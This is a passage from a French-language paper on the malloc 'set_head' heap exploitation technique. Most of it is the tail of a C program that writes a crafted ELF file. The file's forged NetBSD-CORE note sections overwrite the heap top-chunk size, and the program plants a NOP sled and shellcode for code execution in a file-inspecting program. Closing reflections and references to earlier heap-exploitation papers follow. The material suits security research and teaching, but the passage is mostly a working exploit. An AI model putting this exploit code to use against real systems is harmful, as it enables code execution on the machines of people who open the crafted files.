value\n"); exit (1); } shead = set_head_compute (retloc, retadr, toploc); topchunk_size = shead->topchunk_size; malloc_size = shead->malloc_size; ptr = buffer; elfhdr = (Elf32_Ehdr *) ptr; // Fill our ELF header sprintf(elfhdr->e_ident,"\x7f\x45\x4c\x46\x01\x01\x01"); elfhdr->e_type = 2; // ET_EXEC elfhdr->e_machine = 3; // EM_386 elfhdr->e_version = 1; // EV_CURRENT elfhdr->e_entry = 0; elfhdr->e_phoff = 0; elfhdr->e_shoff = 52; elfhdr->e_flags = 0; elfhdr->e_ehsize = 52; elfhdr->e_phentsize = 32; elfhdr->e_phnum = 0; elfhdr->e_shentsize = 40; elfhdr->e_shnum = math->nnetbsd + 2; elfhdr->e_shstrndx = 0; ptr += elfhdr->e_ehsize; elfshdr = (Elf32_Shdr *) ptr; // This loop lets us eat an arbitrary number of bytes in ms->o.buf left_bytes = math->nname; for (i = 0; i < math->nnetbsd; i++) { elfshdr->sh_name = 0; elfshdr->sh_type = 7; // SHT_NOTE elfshdr->sh_flags = 0; elfshdr->sh_addr = 0; elfshdr->sh_size = 256; elfshdr->sh_link = 0; elfshdr->sh_info = 0; elfshdr->sh_addralign = 0; elfshdr->sh_entsize = 0; if (left_bytes > 31) { // filename == 31 elfshdr->sh_offset = OFFSET_31_BYTES; left_bytes -= 31; } else if (left_bytes != 0) { // filename < 31 && != 0 elfshdr->sh_offset = OFFSET_N_BYTES; left_bytes = 0; } else { // filename == 0 elfshdr->sh_offset = OFFSET_0_BYTES; } // Le premier en-tête de section nous laissera charger // notre chellcode en mémoire :) // En fait, en demandant un gros block mémoire, // le topchunk sera divisé et cette zone mémoire // restera intouchée jusqu'à ce qu'on en ai besoin. // On admettra que son nom ne fait que 31 octets if (i == 0) { elfshdr->sh_size = 4096; elfshdr->sh_offset = OFFSET_SHELLCODE; } elfshdr++; } // Cette en-tête de section est pour les données avec // lesquelles on écrase le pointeur de taille de topchunk elfshdr->sh_name = 0; elfshdr->sh_type = 7; // SHT_NOTE elfshdr->sh_flags = 0; elfshdr->sh_addr = 0; elfshdr->sh_offset = OFFSET_OVERWRITE; elfshdr->sh_size = 256; elfshdr->sh_link = 0; elfshdr->sh_info = 0; elfshdr->sh_addralign = 0; elfshdr->sh_entsize = 0; elfshdr++; // Cette entrée d'en-tête de section lance l'appel à malloc avec une // longueur fournie par l'utilisateur. C'est une nécessité pour que // set_head fonctionne. elfshdr->sh_name = 0; elfshdr->sh_type = 7; // SHT_NOTE elfshdr->sh_flags = 0; elfshdr->sh_addr = 0; elfshdr->sh_offset = OFFSET_N_BYTES; elfshdr->sh_size = malloc_size; elfshdr->sh_link = 0; elfshdr->sh_info = 0; elfshdr->sh_addralign = 0; elfshdr->sh_entsize = 0; elfshdr++; // Cette entrée nous permet de manger 31 octets plus supplément elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_31_BYTES); elfnhdr->n_namesz = 12; elfnhdr->n_descsz = 12; elfnhdr->n_type = 1; ptr = buffer + OFFSET_31_BYTES + 12; sprintf (ptr, "NetBSD-CORE"); sprintf (buffer + OFFSET_31_BYTES + 24 + 0x7c, "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"); // Cette entrée nous permet de manger un nombre arbitraire d'octets // + supplément elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_N_BYTES); elfnhdr->n_namesz = 12; elfnhdr->n_descsz = 12; elfnhdr->n_type = 1; ptr = buffer + OFFSET_N_BYTES + 12; sprintf (ptr, "NetBSD-CORE"); for (i = 0; i < (math->nname % 31); i++) buffer[OFFSET_N_BYTES+24+0x7c+i]='B'; // Cette entrée nous permet de manger 0 octets + supplément elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_0_BYTES); elfnhdr->n_namesz = 12; elfnhdr->n_descsz = 12; elfnhdr->n_type = 1; ptr = buffer + OFFSET_0_BYTES + 12; sprintf (ptr, "NetBSD-CORE"); buffer[OFFSET_0_BYTES+24+0x7c]=0; // Cette entrée nous permet de spécifier la valeur qui // écrasera la taille du top hchunk. elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_OVERWRITE); elfnhdr->n_namesz = 12; elfnhdr->n_descsz = 12; elfnhdr->n_type = 1; ptr = buffer + OFFSET_OVERWRITE + 12; sprintf (ptr, "NetBSD-CORE"); // Mot la nouvelle taille du topchunk 7 fois en mémoire // // The note entry program name is at a specific, odd offset (24+0x7c)? for (i = 0; i < 7; i++) put_longword (buffer + OFFSET_OVERWRITE + 24 + 0x7c + (i * 4), topchunk_size); // Cette entrée nous permet de manger 31 octets + supplément // Mais son vrai but est de charger le shellcode en mémoire. // Nous assumons que son nom fait 31 octets elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_SHELLCODE); elfnhdr->n_namesz = 12; elfnhdr->n_descsz = 12; elfnhdr->n_type = 1; ptr = buffer + OFFSET_SHELLCODE + 12; sprintf (ptr, "NetBSD-CORE"); sprintf (buffer + OFFSET_SHELLCODE + 24 + 0x7c, "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"); // On remplis cette zone mémoire avec notre shellcode. // Rappelez-vous de laisser l'entrée intouchée... memset (buffer + OFFSET_SHELLCODE + 256, 0x90, 4096-256); sprintf (buffer + 8191 - strlen (scode), scode); fp = open_file (filename); if (fwrite (buffer, 8192, 1, fp) != 0 ) { printf ("--[ The file has been written\n"); } else { printf ("--[ Can not write to the file\n"); exit (1); } fclose (fp); free (shead); free (math); free (buffer); free (filename); return 0; } --[ 7 - Derniers mots C'est tout pour les détails de cette technique ; beaucoup de choses ont été dites dans ce papier. En regardant la complexité du code de malloc, il y a sûrement encore beaucoup d'autres façons de prendre le contrôle de programmes en corrompant les chunks mémoires. Bien sûr, ce papier explique les détails techniques de set_head, mais personnellement, je pense que toutes les techniques d'exploitations sont éphémères. C'est encore plus vrai, surtout récemment, avec tout les contrôles de sécurité bas niveau qui sont ajoutés dans les systèmes d'exploitation modernes. En plus d'avoir un très bon niveau technique, je pense personnellement qu'il est important de développer ses compétences mentales et sa créativité. Essayez d'améliorer votre attitude quand vous résolvez un problème difficile. Développez votre persévérance et votre détermination, même si vous échouez sur la même chose 20, 50 ou 100 fois de suite. J'aimerais remercier les personnes suivantes : bond, dp, jinx, Michael et nitr0gen. Il y a encore plus de personnes que j'oublie. Merci pour l'aide et les chouettes conversations que nous avons eu ces dernières années. --[ 8 - Références 1. Solar Designer, http://www.openwall.com/advisories/OW-002-netscape-jpeg/ 2. Anonymous, http://www.phrack.org/archives/57/p57-0x09 3. Kaempf, Michel, http://www.phrack.org/archives/57/p57-0x08 4. Phantasmal Phantasmagoria, http://www.packetstormsecurity.org/papers/attack/MallocMaleficarum.txt 5. Phantasmal Phantasmagoria, http://seclists.org/vuln-dev/2004/Feb/0025.html 6. jp, http://www.phrack.org/archives/61/p61-0x06_Advanced_malloc_exploits.txt http://www.arsouyes.org/info/phrack/phrack61/phrack61_0x06.txt 7. Guay-Leroux, Jean-Sebastien, http://www.guay-leroux.com/projects.html 8. gera, http://www.phrack.org/archives/59/p59-0x07.txt 9. The Shellcoder's Handbook: Discovering and Exploiting Security Holes (2004), Wiley